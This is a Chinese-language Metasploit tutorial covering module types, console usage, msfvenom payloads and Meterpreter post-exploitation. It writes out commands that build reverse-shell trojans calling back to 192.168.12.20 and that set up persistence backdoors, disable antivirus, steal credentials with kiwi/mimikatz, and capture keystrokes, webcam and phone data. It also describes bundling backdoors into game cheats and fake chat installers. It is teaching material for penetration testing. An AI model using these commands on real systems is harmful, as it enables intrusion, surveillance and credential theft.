Metasploit
简介:
Metaspolit是一个渗透测试框架,属于框架,是模块化组成的,是一个免费的可下的框架,通过它可以很容易的获取、开发并对计算机软件漏洞实现 metaspliot时候,计算机安全状况就永久的改变了
MSF:The Metasploit Framework
Metasploit是一款开源的安全的漏洞检测工具,可以帮助安全和IT专业人士识别安全性的问题,验证漏洞的缓解促使,并且管理专家驱动的安全性记性评估,提供真正的安全风险情报,包括智能开发,代码审计,web应用程序扫描,社会工程等。
Rank:排名
execllet:漏洞利用程序绝对不会使用目标服务崩溃,看就像SQ!注入,命令执行,远程文件包含,本地文件包含,除非有特殊情况。典型的内存破坏利用程序不可以被评估为该级别
Great:漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回一个特定的返回定制
Good:漏洞利用程序有一个默认目标系统,并且这种类型的软件常见情况(桌面应用程序windows7,服务器的2012等)
Normal:漏洞利用是可靠的,但是依赖于特定版本,并且不能或者不能可靠的自动检测
average:利用利用程序不可靠或者难以利用的。
low:对于通用平台来说。漏洞利用程序几乎不能利用,(成功率低于50%)
manual:漏洞利用程序不稳定或者难以利用并且基于拒绝服务(Dos)。如果一个模块只有在用户特别配置该模块的时候才能用到。否则该模块不会被使用。
Rank排名由高到低,越高代表可靠性越高,反而可靠性越低
渗透测试的流程和术语:
1、漏洞Vnlnerability
漏洞:指的是安全性的缺陷(3要素)
- 业务系统停止—可用性
- 数据泄露—机密性
- 高考录取系统—完整性
bug:指的是功能性的权限
2、渗透测试Penatration Test
模拟黑客攻击系统的方式,去找出系统的漏洞,并且修复它。
3、利用Exploit
渗透攻击,利用存在的各种各样的漏洞,对系统进行攻击利用的行为
4、提权 Privilege Escalation
从普通权限提升为管理员
5、攻击载荷Payload
已经利用成功,连接到系统以后去执行一些代码
6、免杀 Anti-AntiVirus
免除杀毒软件的查杀
7、后渗透Post-Exploitation
维持权限,获取等多的有用的信息 一般用于内网渗透
渗透测试流程:
1、确定目标
资产范围、测试方法、要求、限制等
2、信息收集
域名、子域名、ip、端口、网站目录、旁站、C段、网站架构、软件版本
3、漏洞分析(威胁建模)
根据软件版本,基于漏洞数据库,或者挖掘新漏洞
4、漏洞利用
获取权限或者文件,数据等
5、提权(渗透测试报告)
提升到管理员权限
6、后渗透(清理痕迹)
扩大战果,维持权限
Meteasploit架构介绍
1、REX:基础功能库,用于完成日常基本任务,无需手动编码实现,处理socket连接访问,协议应答(http/SSL/SMB等),编码转换(XOR,Base64,Unicode)
2、技术模块:5.0之后增加了一个evasion模块,一共有7个技术模块
3、插件:插件可以调用外部的一些渗透测试工具,例如:load nessus 就可以调用nessus扫描软件。
4、接口:有msfconsole控制终端,msfcli命令行,msfgui图形化界面,armitage图形化解卖弄和msfapi远程调用接口
5、功能程序:metasploit还开发了一些可以直接运行的命令,比如msfpayload、msfencode以及msfvenom
Meteasploit技术功能模块
msf技术模块的功能:
1、auxiliary 目录: /usr/share/metasploit-framework/modules/auxiliary
auxiliary模块的命名规则;功能/服务/模块名称
举例;scanner/discovery/arp-sweep
负责执行信息收集、扫描、嗅探、指纹识别、暴力破解、口令猜测、网络协议欺骗和DOS攻击等功能的辅助模块,主要是用于信息收集阶段 不用exploit
分为三个大类:
- admin
admin/http
admin/mssql
admin/postgres
admin/vmware - scanner
mssql
mysql
netbios
pop3
smtp
smb
snmp
ssh
telnet
tftp
vmware
vnc - server 捕获模块
2、explotis 目录:/usr/share/metasploit-framework/modules/exploits
利用系统漏洞进行攻击的动作,此模块对应每一个具体的漏洞攻击的方法(主动、被动) 利用已经发现的漏洞对远程目标进行攻击,植入并运行攻击载荷,从而控制目标系统
active Exploit:直接攻击 适用于服务端 (主动)
passsive Exploit:防止攻击代码运行,适用于客户端(被动)
3、payloads攻击载荷 目录:/usr/share/metasploit-framework/modules/payloads
成功exploit之后,真正在目标系统执行的代码或者指令可以是反弹代码,可以是添加用户的的代码,在渗透攻击触发漏洞后,劫持程序执行流程并且跳入这段代码,这个模块的作用是消除安全人员开发这部分代码的代价。
分为3中payload,分别是single、stages和stagers。shellcode是特殊的payload,用于拿shell
- single:all-in-one
完整的payload,这些payload是一体化的,不需要依赖外部的库和包。(完整独立的payload) - stagers:目标计算机内存有限时,先输入一个较小的payload用于建立连接(搭桥)
- stages:利用stagers建立的链接下载后续payload
4、encoders 目录:/usr/share/metasploit-framework/modules/encoders
对payload进行加密,用来躲避AntiVirus检查的模块,绕过部分杀毒软件,将攻击载荷进行编码(类似于加密),避免操作系统和杀毒软件辨认出来但是会让载荷的体积变大,需要选择传输器和传输体配对成的攻击载荷来下载目标载荷并运行
5、nops 目录:/usr/share/metasploit-framework/modules/nops
提高payload稳定性以及维持大小。在渗透攻击构造恶意数据缓冲区的时候,常常要在真正执行的Shellcode之间添加一段空指令区,这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全的着陆区,从而避免受到内存地址随机化,返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。
6、post 目录:/usr/share/metasploit-framework/modules/post
后期渗透馍块,用于,内网渗透,在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息,跳板攻击等操作。
7、evasion 目录:/usr/share/metasploit-framework/modules/evasion
创建木马文件,相当于msfvenom的一个子功能存在 躲避模块,对比微软的限制或者免杀,免杀效果一般
Meteasploit基本使用和控制台命令
启动metasploit架构需要运行postgresql数据库,现在只要运行metasploit时都会自动启动postgresql数据库,如果数据库没有启动的话,可以手动启动
msfconsole 启动终端
msf6 > banner显示banner信息
msf6 > help /? 显示帮助,help+命令
msf6 > search mysql 搜索漏洞和利用数据库
msf6 > searchsploit "Spring Cloud Gateway 3.1.0" 搜索msf官网漏洞库里面的存在的漏洞
msf6 > info exploit/windows/smb/ms17_010_eternalblue 显示详细的内容
msf6 > use exploit/windows/smb/ms17_010_eternalblue 使用模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options 查看模块所需要配置的参数
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 11.11.11.11 设置参数值
msf6 exploit(windows/smb/ms17_010_eternalblue) > unset lhost 取消设置的参数值
Unsetting lhost...
msf6 exploit(windows/smb/ms17_010_eternalblue) > run 执行模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > back 返回到主页面
msf6 exploit(windows/smb/ms17_010_eternalblue) > quit/exit 退出msf
msfconsole -p 不显示banner信息
msfconsole -r resource.rc: 启动时,执行一个包含有配置参数的.rc文件
msfconsole -h 显示帮助信息
banner:版本信息
connect:可以理解成MSF中的nc命令,可以使用conncet -h 查看详细用法、
show:使用show命令查看msf提供的资源,在根目录下执行的话,由于有些模块化资源比较多,需要执行show命令要较长的时间。
- show options/payloads/targets/evasion/missing/ search:搜索模块;简单搜索
例如:seach ms10-046
多条件搜索缩小范围;
- search name:mysql type:exploit platform:linux
use: search 找到模块以后,使用use使用模块
- use exploit/windows/smb/ms08_067_netapi
用use使用一个模块以后,使用show opetions查看我们需要配置的选项,使用show targets选择目标主机系统,使用show payloads选择payload,使用show advanced查看高级参数、使用show evasion查看用来做混淆,逃避的模块。
- set/setg: 设置参数
比如要渗透的主机IP,paylaod等,我们可以使用show missing查看有没有设置的参数,setg是设置全局变量,避免每个模块都要输入相同的参数
- unset/unsetg: 取消设置参数
unsetg是取消设置的全局变量 save;设置的参数在下一次启动的时候不会失效,可以用save 保存我们使用过的设置
/root/.msf4/config cat到文件进行查看
check:检查目标是否真的存在这个漏洞,大部分模块没有check功能。
run/exploit:攻击
jobs/kill:杀死进程
session:建立会话
msf系统文件:
-
路径:/usr/share/metasploit-framework
-
data:可编辑文件,主要给Metasploit使用
-
documenttation:提供一些msf的介绍文档
-
external: 源文件和第三方库
-
lib:msf 框架的主要组成部分
-
modules:msf模块存放位置
-
plubins:存放metasploit的插件
-
scripts:存放meterprter代码(shell code)或者是其他脚本文件
-
tools:各种各样使用的命令行工具
sql相关的文件:
db_status 查看状态
db_rebuild_cache 将所有模块信息缓存到数据库里,通过数据库去检索
db_nmap 扫描主机的信息,调用nmap
db_disconnect 断开连接
db_import 导入
db_connect: 连接数据库
db_export 导出
db_remove 溢出
db_save 保存
设置流程中必须要的命令:
set:设置模块参数
unset:清楚设置
setg:全局设置,即只要有哪个名称变量,都会设置成一样的
unsetg;清楚全局设置
save:保存设置的值,保存退出后仍然存在
run/exploit:运行
jobs:进行的工作
load:调用加载其他插件
unload:取消调用其他插件
loadpath:当有个人开发模块,调用指定目录存放的模块
session:查看会话,已建立的连接
irb:内置的编程开发模块
resoucre:指定配置文件
Metasploit基本使用:
msf-简单搜索
msf6 >search platform 查询平台评级高的漏洞用platform可以查询平台的可靠漏洞,他把所有的rank为normal的模块全部屏蔽了,只是剩下几个高级的利用模块。
路径查找:忘记了具体的路径,但是记得一部分路径,可以使用path这个关键字来查找mysql这个关键字下面的素有的模块
msf6 >search path:mysql
根据名称搜索 name
search name:mysql
通过类型搜索漏洞:
type特定类型的模块(exploit,payload,auxiliary,endocer,evasion,post,or nop)
search type:mysql
联合搜索: 在搜索符合多个条件的漏洞可以使用这个
search name:mysql type:exploit
msf的信息收集的一些模块:
use auxiliary/scanner/discovery/arp_sweep 用于主机发现
use auxiliary/scanner/portscan/tcp 用于端口扫描
use auxiliary/scanner/http/dir_scanner 用于目录扫描
use auxiliary/scanner/ssh/ssh_login 用于ssh爆破
use auxiliary/scanner/mysql/mysql_version 用于服务扫描
use auxiliary/scanner/smb/smb_version 用于smb扫描
use auxiliary/scanner/telnet/telnet_version 用于telnet服务扫扫描
use auxiliary/scanner/rdp/rdp_scanner 用于rdp服务扫描
msf-主机发现:(基于2层的信息收集)
msf6 > use auxiliary/scanner/discovery/arp_sweep 使用auxiliary这个模块进行主机发现 因为不需要开放端口,所以使用2层就好了,不需要端口
msf6 auxiliary(scanner/discovery/arp_sweep) > show options 看我们这个选项的配置msf6 auxiliary(scanner/discovery/arp_sweep) > show missing 告诉我们必须选的选项
找到模块以后配置完成之后直接run即可
msf-端口扫描:(基于4层的信息收集)
msf6 > use auxiliary/scanner/portscan/ 一共有5个模块可以选择
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
FTP信息收集
- 利用msf查到ftp的版本,然后用google查看一下版本里面有什么可以利用的漏洞 然后去看一下tfp是否支持匿名登录
msf6 auxiliary(scanner/discovery/udp_sweep) > use auxiliary/scanner/ftp/anonymous --这个模块用来测试ftp是否支持匿名登录msf6 auxiliary(scanner/discovery/udp_sweep) > use auxiliary/scanner/ftp/ftp_login --是ftp暴力破解的模块 > cd /usr/share/metasploit-framework/data/wordlists 这个目录下有metasploit自带的字典(暴力破解的字典)
ssh信息收集
msf6 auxiliary(scanner/ftp/ftp_login) > use auxiliary/scanner/ssh/ssh_version msf的信息收集模块
SMB信息收集
msf6 auxiliary(scanner/ssh/ssh_login) > use auxiliary/scanner/smb/smb_version 这个模块里面
msf-密码嗅探
msf6 > use auxiliary/sniffer/psnuffle 嗅探模块
这个模块可以直接使用,直接run,但是需要使用jobs kill 将其后台进程杀掉才能永久的结束这个程序
Metarpreter基本命令:
- meterpreter简介:
比系统shell更加灵活,功能更加丰富,例如监控主机,监控键盘,开启摄像头,麦克风,还可以灵活的获取你的操作系统信息。
高级,动态,可扩展的payload,一站式后攻击payload;
基于meterpreter上下文利用更多的漏洞来发起攻击
后渗透阶段的一站式操作界面;
完全基于内存的DLL注入式payload(不写硬盘);
基于stager上传和预加载DLL进行扩展模块的注入(客户端API);
基于stager建立的socker连接建立加密的TLS/1.0通信隧道;
利用TLS隧道进一步加载后续扩展模块(避免网络取证)
msf建立反弹shell
- 监听
- 生成反弹连接的木马
msf生成php的木马,获得shell权限
msfvenom生成各种payload
# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4444 -o shell.php 用这个模块生成一个木马,一个可以用来让攻击机主动连接的shell
# msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4444-f war -o /a/java.war 生成一个java木马
# msfvenom -p windows/meterpreter/reverse_tcp -f exe -o C:/back.exe 生成一个windwos木马
# msfvenom -p windows/meterpreter/revese.tcp lhost=192.168.12.20 lport=4444 -f aspx -o shell.aspx 生成一个windows的aspx木马
# msfvenom -p windows/meterpreter/revese.tcp lhost=192.168.12.20 lport=4444 -f asp -o shell.asp 生成一个windows的asp木马
# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4444 -f exe -o msf.exe 反向reverse 正向bind# msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4444 -f elf -o shell.elf 生成一个linux的elf木马# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4444 -f exe > shell.exe 生成一个windwos的exe程序# msfvenom -p osx/x86/shell_reverse_tcp lhost=192.168.12.20 lport=4444 -f macho > shell.macho 生成一个mac的程序# msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.12.20 lport=4444 -f raw > shell.php 生成一个php的木马
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php # msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.12.20 lport=4444 -f raw -o shell.jsp 生成一个jsp木马# msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.12.20 lport=4444 -f war -o shell.war 生成一个war文件# msfvenom -p cmd/unix/reverse_python lhost=192.168.12.20 lport=4444 -f raw -o shell.py 生成一个python文件# msfvenom -p cmd/unix/reverse_bash lhost=192.168.12.20 lport=4444 -f raw -o shell.sh 生成一个bash文件# msfvenom -p cmd/unix/reverse_perl lhost=192.168.12.20 lport=4444 -f raw -o shell.pl 生成perl文件
msfvenom的所有参数:
-p 指定需要的payload 也可以使用自定义的payload,几乎是支持全平台的
-l 列出指定模块的所有可用资源,模块包括 payloads,encoders,nops,all
-n 为payload预先制定一个nop滑动长度
-f 指定输出格式
-e 制定需要使用的encoder编码器,如果没有-e 也没有-b 则输出raw payload
-a 执行payload的目标架构,例如x86,x64
-platfrom 执行payload的目标平台
-s 设定有效攻击载荷的最大长度,就是文件的大小
-b 设定规避字符集,制定需要过滤的坏字符,例如 不使用 /x00
-i 指定payload的编码次数
-c 指定一个附加的win32 shellcode文件
-x 指定一个自定义的可执行文件作为模板,并且将payload嵌入其中
-k 保护模板程序的动作,注入payload作为一个新的进程运行
-o 指定创建好的payload的存放位置
-v 制定一个自定义变量,以确定输出格式
-shelllest 最小生成payload
使用msf建立监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.12.20
msf6 exploit(multi/handler) > set lport 7777
msf6 exploit(multi/handler) > run
shell讲解:
正向shell:
控制段主动发起连接请求去连接被控制端,中间网络链路不存在阻碍
反向shell(反弹shell):
被控制端主动地连接请求去连接控制段,通常被控制端由于防火墙的限制,权限不足,被占用等问题导致被控制端不能正常接收发送过来的数据包
Meterpreter详解:
全称:Meta Interpreter(元 解释程序)属于stager Payload 客户端与服务端建立加密的连接通信
电脑端:
meterpreter >sysinfo 查看目标机系统信息
meterpreter >getuid 查看用户
meterpreter >pwd/getlwd 查看当前目录
meterpreter >cd/lcd 切换目录
meterpreter >background 把当前会话放到后台
meterpreter >sessions -i id 切换到指定会话
meterpreter >sessions -k id 杀死指定会话
meterpreter >shell 进入目标主机的shell 若出现乱码,则输入 chcp 65001
meterpreter >upload file 向目标主机上传文件
meterpreter >download file 从目标主机下载文件
meterpreter >search 从目标主机上搜索文件 search -f *test*
meterpreter >execute 在目标主机执行程序 execute -H -i cmd.exe
meterpreter >getsystem 提权
meterpreter >clearev 清除痕迹
meterpreter >webcam_list 查看有几个摄像头
meterpreter >webcam——snap -i 1 拍照
meterpreter >screenshot 截图
meterpreter >screenshare 实时监控桌面
meterpreter >webcam_stream 开启摄像头
meterpreter >execute -f notepad 打开记事本
meterpreter > webcam_list 查看摄像头列表
meterpreter > webcam_snap 利用摄像头拍照
meterpreter > keyscan_start 开启键盘抓取
meterpreter > keyscan_stop 关闭键盘抓取
meterpreter > keyscan_dump 键盘操作记录
meterpreter > run post/windows/manage/enable_rdp 开启远程桌面
手机端:
meterpreter > check_root 查看机器是否root
meterpreter > webcam_list 查看有几个摄像头
meterpreter > webcam_snap -i 1 拍照
meterpreter > screenshot 截图
meterpreter > webcam_stream 开启摄像头
meterpreter > record_mic -d 10 录制10秒的音频
meterpreter > dump_contacts 获取联系人
meterpreter > dump_callog 获取通话记录
meterpreter > dump_cms 获取短信
meterpreter > geolocate 获取定位
提权:
当我们以一个普通用户登陆到linux的操作系统以后,需要怎么操作来提权呢?
- 内核漏洞
- sudo
- SUID提权
- 找敏感文件
提权模块:
一般默认使用getsystem 在meterpreter中使用
提权命令执行失败的时候,需要绕过uac
第一个模块!
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp set lhost 192.168.12.20 set seesion 1 exploit
第二个模块!
use exploit/windows/local/bypassuac_injection
set payload windows/meterpreter/reverse_tcp set lhost 192.168.12.20 set seesion 1 exploit
第三个模块!
use exploit/windows/local/bypassuac_dotnet_frofiler
set payload windows/meterpreter/reverse_tcp set lhost 192.168.12.20 set seesion 1 exploit
第四个模块!
use exploit/windows/loca/ms16_014_wmi_recv_notif
set payload windows/meterpreter/reverse_tcp set lhost 192.168.12.20 set seesion 1 exploit
第五个模块!
use post/multi/recon/local_exploit_suggester set session exploit
优点:省去手动查找的麻烦
缺点:不是所有列出的local exploit都可以使用
第六个模块!
use exploit/windows/local/unquoted_service_path set session 1 exploit
metasploit经典漏洞复现
MS14-064(OLE远程代码执行)漏洞
ms14-064简介:
miscrosoft windwos OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响win95+IE3-Win10+IE11全版本
msf6 use windows/browser/ms14_064_ole_code_execution --使用这个模块
msf6 exploit(windows/browser/ms14_064_ole_code_execution) > show options 查看模块里面的内容 Module options (exploit/windows/browser/ms14_064_ole_code_execution):
MS17-010(永恒之蓝)漏洞
永恒之蓝是利用windwos系统的smb漏洞可以获取系统最高权限。
永恒之蓝漏洞的影响范围:
目前已知的受到影响的windows版本包括但是不局限于 windows NT windows2000 windows xp windows 2003 windows vista windows 7 windwos 8 windows 2008 windwos 2008 r2 windwos server
2012 sp0
CVE漏洞的产生
CVE的英文全称是comon vulnerabilities & exposures 公共漏洞和暴露 CVE就好像很是一个查看公共漏洞的字典
CVE就相当一字典一样,可以去查看所有已经发生的漏洞。 为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出了一个公共名称。 CVE是国际著名的安全漏洞库。也是对已知漏洞和安全缺陷的标准化名称列表,她是一个由企业,政府,学术参数的国际性组织。
CVE-2014-0160(心脏滴血)漏洞
漏洞成因:
heartbleed漏洞是由于未能在memcpy()要用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪openSSL所分配的64kb缓存,将超出必要范围的字节信息复制到缓存中再返回缓存内容,这样一来,受害者的内存就会以每次64kb的速度进行泄露。
漏洞的危害:
如同漏洞成因所讲,我们可以通过该漏洞读取每次攻击泄露出来的信息,所以可能也可以获取到服务器的私钥,用户cookie和密码等。
影响平台:
openssl 1.0.11.0.1f版本、opesnssl 1.0.2-beta
beta1版本
CVE-2018-8174(0day双杀)漏洞
漏洞介绍;
该漏洞影响最新版本的IE浏览器以及是用来IE内核的应用程序用户在浏览网页或者打开office文档的时候,都可能中招,最终被黑客植入后门木马完全控制电脑。
CVE-2019-0708 进行渗透
strtus2远程命令执行漏洞:
S2-045:攻击者可以使用strtus2的jakara multipart parser插件上传文件的时候,修改http请求头中的content-type值来出发该漏洞,导致远程代码的执行
s2-046:s2-045补丁绕过,攻击者通过设置content-dispostion的filename字段或者设置conten-length绕过2G这种方式来出发异常并导致filename字段的ognl表达式得到执行从而达到远程攻击的目的
s2-048:apache strtus2的strus1插件存在远程代码执行的高危漏洞,攻击者可以构造恶意的数值通过strtus2的struts1的插件远程代码执行。
s2-052:apache strtus2.5以及之前的部分2.x版本的REST插件存在远程代码执行漏洞,漏洞的成因是由于使用Xstreamhander反序列化xstream实力的时候没有任何类型过滤导致远程代码的执行
s2-053:该漏洞原理在于处理freemarker标签的时候,若程序员使用了不恰当的编码表达式则会导致远程代码执行。
s2-054:apachesstrtus rest插件使用了过时的json-lib库,攻击者可以构造恶意的json请求造成dos攻击。
s2-055:由于apachestrtus调用了存在反序列化的jackson json库,导致了反序列化漏洞的产生。
shellshock漏洞:
又叫bashbug
- CVE-2014-6271
攻击者可以构造特殊的环境变量值,以这些环境变量的值包含特定的代码,当shell对这些环境变量求值的时候,这些特定的代码将得以在系统中执行,某些服务和应用接受未经身份者提供的环境变量,因此攻击者可以利用此漏洞同源于再提供这些服务和应用的系统上执行任意的shell命令。
- CVE-2014-7169
因GNU Bash 允许在环境变量的值中进行函数定义,及在函数定义后加入额外的字符串,攻击者可以利用此特性在远程写入文件或者执行其他可以影响到系统的操作
metasploit客户端攻击以及后渗透测试
基于windows的客户端渗透测试
在什么情况下会使用到客户端攻击
- 在无法突破网络边界的情况下转而攻击客户端
- 社会工程学攻击
- 进而渗透线上业务网络
- 含有漏洞利用代码的web站点
- 利用客户端漏洞
- 含有漏洞利用的DOC,PDF等文档
- 诱骗被害者执行payload
msf6 > use exploit/multi/handler--这是一个专门用来监听的模块
基于linux的客户端渗透测试
linux的
linux的集型结构是elf
基于手机端的渗透测试
hacker可以针对不同的人群进行各种主动攻击,然后把后门捆绑到现在很火的吃鸡游戏外挂上,或者是捆绑到现在很知名的网游外挂布丁上面,然后传到,供给他们下载,再或者是伪装成qq或者微信之类的安装软件,提供给有需求的人群。
比如我们向目标主机发送一个含有后门的apk软件,或者是一个word文档、pdf文件。想到达到效果同时也要利用好社会工程学,来诱骗受害者执行恶意程序。
生成安卓端的
Geolocate 定位
wlan_geolocate wifi定位
dump_callog 获取通话记录
send_sms 发送短信
基于word文档的客户端的渗透测试
对windwos的word文档进行渗透测试
基于post进行后渗透测试
- POST模块 #前提是已经建立了meterpreter
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump #dump出所有用户的hash
run exploit/windows/local/persistence #建立永久的后门
run post/windows/gatgher/forensics/enum_drives #获取目标分区情况
run post/windows/gather/checkvm #检测是否是虚拟主机
run post/windows/gather/enum_applications #获取当前安装的应用程序
run post/windows/gather/euum_logged_on_users #获取用户的登录信息
run post/multi/gather/env #收集系统环境信息
run post/windows/gather/enum_services #查看开启的服务
run post/windows/gather/dumplinks #查看目标主机最近的操作
run post/windows/manage/deleter_user username=aiyou #删除用户
run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou #添加用户
run post/windows/gather/enum_logged_on_users #查看主机中的用户信息
run windows/manage/killav #关闭杀软
run post/windows/gather/enum_applications #查看目标主机安装了哪些应用、补丁
run post/multi/recon/local_exploti_suggester #对目标进行漏洞扫描(提权操作)
run exploit/windows/local/ms16_014_wmi_recv_notif #对目标进行漏洞扫描提权
run post/windows/gather/checkvm #是否为虚拟机
run post/linux/gather/checkvm #是否为虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装的软件的详细信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windwos/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取chrome缓存
run post/windwows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找预控
set AytoRunScript migrate -f #自动迁移随机进程
在meterpreter中使用: run persistence -A -S -U -i 60 -p 1234 -r 192.168.12.20 会定时的连接 自动连接
metasploit扫描:
- 密码嗅探
use auxiliary/sniffer/psnuffle
支持从pcap抓包文件中提取密码
功能类似于dnsiff
目前支持pop3,imap、ftp、http_get协议
- snmp扫描
vi /etc/default/snmpd 监听地址修改为0.0.0.0
use auxiliary/scanner/snmp_login
use auxiliary/scanner/snmap/enum
use auxiliary/scanner/snmpenumusers(windows)
use auxiliary/scanner/snmp_enumshares(windows)
- 端口扫描
search portscan
use auxiliary/scanner/portscan/syn
set interface/ports/rhosts/threads
run/exploit
- arp扫描
search arp
use auxiliary/scanner/discovery/arp_sweep
set interface/rhosts/shosts/smac/threads
run/exploit
msf之windwos提权UAC绕过
什么是UAC?(user account control)用户账户控制 是一种安全策略
原理:
界面操作是:通过查询用户的访问是否给应用程序,是用硬盘驱动器和系统文件的权力,已达到阻止恶意程序破坏系统的效果。
msf之端口转发与内网代理与后门
端口转发
portfwd是meterpreter提供的端口转发的功能,使用portfwd -h 功能查看
-l 本地监听端口
-r 内网目标的ip
-p 内网目标的端口
meterpreter > forwd add -l 2222 -r 192.168.12.20 -p 3389
将192.168.12.20的3389端口转发到本地的2222端口上
内网代理
pivot是msf常用的代理
首先在msf中使用route add 内网ip 掩码 session 的id 添加一个路由表
route print 打印命令
建立socks代理
- 如果其他程序需要访问内网环境,可以建立sodcks5代理。
- 这里提供了模块
use auxiliary/server/socks5
需要设置的参数
SRVHOST:监听的ip地址,默认为0.0.0.0 一般不用改
SRVPORT:监听的端口,默认为1080
在linux使用proxychains使用,在windows使用proxifier使用
后门
metsvc
1、使用run metsvc -h 查看帮助一共有3个参数
—A 安装后门,自动启用exploit/multi/handler 模式连接后门
-h 查看帮助
-r 删除后门
2、安装后门
命令 run metsvc
同时会建立一个服务,显示名称为meterpreter,服务名称为metsvc启动类型为自动,绑定在31337端口上
3、连接后门
使用exploit/multi/handler 模块,payload设置为windwos/mesvc_bind_tcp,设置目标ip和绑定端口31337
persistence:
- 使用exploit/windows/local/persistence模块设置payload然后run
- 使用exploit/mulit/handler模块,payload为windwos/meterpreter/reverse_tcp
然后run
令牌窃取:
使用模块use incognito
查看可用token list_tokens -u
假冒system权限impersonate_token ‘NT AUTHORITY\SYSTEM’
利用假冒身份执行命令 execute -f cme.exe -i -t 不欧哲直接shell
加载kiwi模块
命令:
load kiwi
creds_all 列举所有凭据
creds_msv 列举所有msv凭据
creds_ssp 列举所有ssp凭据
creds_wdigest 列举所有wdigest凭据
creds_tspkg 列举所有tspkg凭据
golden_ticket_create 创建黄金票据
kerberos_ticket_create 创建kerberos票据
kerberos_ticket_list 列举kerberos票据
kerberos_ticket_purge 删除kerberos票据
kerberos_ticket_use 使用kerberos票据
kiwi_cmd 执行mimikatz的命令,接mimikatz.eze命令
lsa_dump_sam dump出来lsa的sam
lsa_dump_secrets dump出来lsa的秘文
password_change 修改密码
wifi_list 列出当前用户的wifi配置文件
wifi_list_SHARED 列出共享wifi配置文件\编码
监听参数:
防止假session
在实战中,经常会遇到假session或者刚连接就断开的情况,这里就需要补充一些监听的参数防止假死与假session
exitonsession flase 可以在接收到session后继续监听端口,保持侦听
set Sessioncommunucationtimeout 0 默认情况下如果一个会话将在5分钟没有任何活动,那么他就会被杀死,防止此情况可以讲此项改为0
set SessionExpriationTimeout 0 默认情况下,一个星期后,会话将被强制关闭,修改为0可以永久不会被关闭
这里是一些MSF的介绍,具体的使用还是希望各位多去尝试,希望这篇文章对各位有帮助!!!